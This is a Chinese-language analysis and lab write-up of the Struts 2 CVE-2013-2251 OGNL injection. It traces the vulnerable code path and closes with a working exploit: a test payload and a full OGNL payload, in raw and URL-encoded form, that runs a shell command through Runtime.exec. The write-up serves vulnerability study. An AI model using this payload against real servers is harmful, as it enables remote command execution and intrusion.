0x00 漏洞概述
编号为CVE-2013-2251。
在Struts 2框架中,
DefaultActionMapper
类支持以“action:”、“redirect:”、“redirectAction:”作为导航或重定向前缀,这些导航或者前缀后面可以写OGNL表达式。Struts 2并没有对这些前缀进行过滤,所以可以任意执行恶意OGNL表达式以执行系统命令。DefaultActionMapper
类支持“method:”、“action:”、“redirect:”、“redirectAction:”这些方法。
其中“redirect:”和“redirectAction:”为Struts 2默认开启功能。
影响版本:Struts 2.0.0 - Struts 2.3.15。
0x01 漏洞分析
使用精简版的源码,感谢大佬xhycccc为萌新送温暖。
运行流程
首先复习一下Struts 2的运行流程:
- HTTP请求经过一系列的标准过滤器(Filter)组件链,一路到达
FilterDispatcher
。这些过滤器一部分是Struts 2自带的,另一部分是用户自定义的。本环境中struts.xml中的package继承自struts-default,即Struts 2自带的拦截器。第一层的ActionContextCleanUp
主要用于清理当前线程的ActionContext
、Dispatcher
。第三层的FilterDispatcher
主要是通过调用ActionMapper
决定需要调用哪个Action
。FilterDispatcher
是控制器的核心(也是MVC中控制层的核心组件)。 - 核心控制器组件
FilterDispatcher
根据ActionMapper
中的设置决定是否需要调用某个Action
组件来处理当前的HTTPServletRequest
,如果确定需要调用,FilterDispatcher
就会把请求的处理权交给ActionProxy
组件。 -
ActionProxy
组件通过Configuration Manager
组件获取Struts 2框架的配置文件struts.xml,找到需要调用的目标Action
组件类,然后ActionProxy
就能够创建出一个实现了命令模式的Action Invocation
类的实例(这个过程包括调用Action
组件本身之前调用多个拦截器组件的before()
方法)。ActionInvocation
组件通过代理模式调用目标Action
组件,但是在调用前会根据配置文件中的设置项加载与目标Action
相关的所有拦截器组件(即Interceptor
)。 -
Action
组件执行完毕后,Action Invocation
组件将会根据struts.xml配置文件中定义的各个配置项目获得对象的返回结果(这个Action
组件的结果码,如SUCCESS、INPUT),然后根据这个返回结果调用目标.jsp页面进行输出。 - 最后各个拦截器组件再次执行(与刚才顺序相反,调用
after()
方法)。然后HTTPServletResponse
返回给最初的三层组件。如果已经设置了ActionContextCleanUp
过滤器,则FilterDispatcher
不会清理ThreadLocal
对象中保存的ActionContext
信息;反之,若没有设置,就会清除掉所有的ThreadLocal
对象。
漏洞源码
-
先找到定义前缀的地方。漏洞出现在lib\struts2-core-2.2.3.jar!\org\apache\struts2\dispatcher\mapper\DefaultActionMapper.class,这里是
ActionMapper
的实现类。 -
在lib\struts2-core-2.2.3.jar!\org\apache\struts2\dispatcher\FilterDispatcher.class找到
doFilter()
方法。该方法先进行基础性操作:创建值栈、上下文、包装request等。然后到173行执行actionMapper.getMapping()
。 -
进入这个
getMapping()
方法。首先创建一个ActionMapping
,然后对请求URL进行处理,解析对应的Action
配置信息,比如去掉请求的URL后缀(调用dropExtension()
把/index.action变成/index),继续执行到159行进入handleSpecialParameters()
方法。 -
handleSpecialParameter()
方法首先获取请求的参数对象,然后遍历这个对象,如果参数名有以.x或者.y结尾的,会被去掉,然后进入200行的parameterAction.execute()
方法。 -
进入这个
execute()
方法。第73行中,redirect.setLocation()
方法提取"redirect:"
后面的部分作为location
,此时Payload就会进入location
参数,终于出现了初步的注入。 -
回到
doFilter()
方法,继续向下,193行进入serviceAction()
方法。 -
serviceAction()
方法先获取Configuration
对象,然后通过Configuration
得到容器对象,再从容器对象获取工厂类ActionProxyFactory
创建动态代理ActionProxy
,在381行进入execute()
方法。 -
进入父方法
execute()
: -
遇到了
conditionalParse()
,用于处理跳转地址location
,会判断是否含有OGNL表达式,若有则执行。conditionalParse()
必然含有TextParseUtil.translateVariables()
,最终通过其中的stack.findValue()
执行了OGNL。这两个方法的利用在Struts 2系列漏洞中被多次使用。
0x02 利用流程
攻击机:192.168.0.106,靶机:192.168.0.108。
访问靶机
先行测试
首页其实就是/index.action,之前版本似乎还会注明有/default.action。先通过BurpSuite传入测试,与先前一样,采用URL编码迎合系统解析特性。
Payload:
?redirect:%{233*7}
?redirect:%25%7B233*7%7D
因为是redirect
,上传后会得到302,跟随跳转发现请求URL变成了OGNL表达式结果。
命令注入
Payload(ls /tmp):
${#context[‘xwork.MethodAccessor.denyMethodExecution‘]=false,#f=#_memberAccess.getClass().getDeclaredField(‘allowStaticMethodAccess‘),#f.setAccessible(true),#f.set(#_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘ls /tmp‘).getInputStream())}
%24%7B%23context%5B‘xwork.MethodAccessor.denyMethodExecution‘%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(‘allowStaticMethodAccess‘)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(‘ls%20%2Ftmp‘).getInputStream())%7D
任意命令执行达成!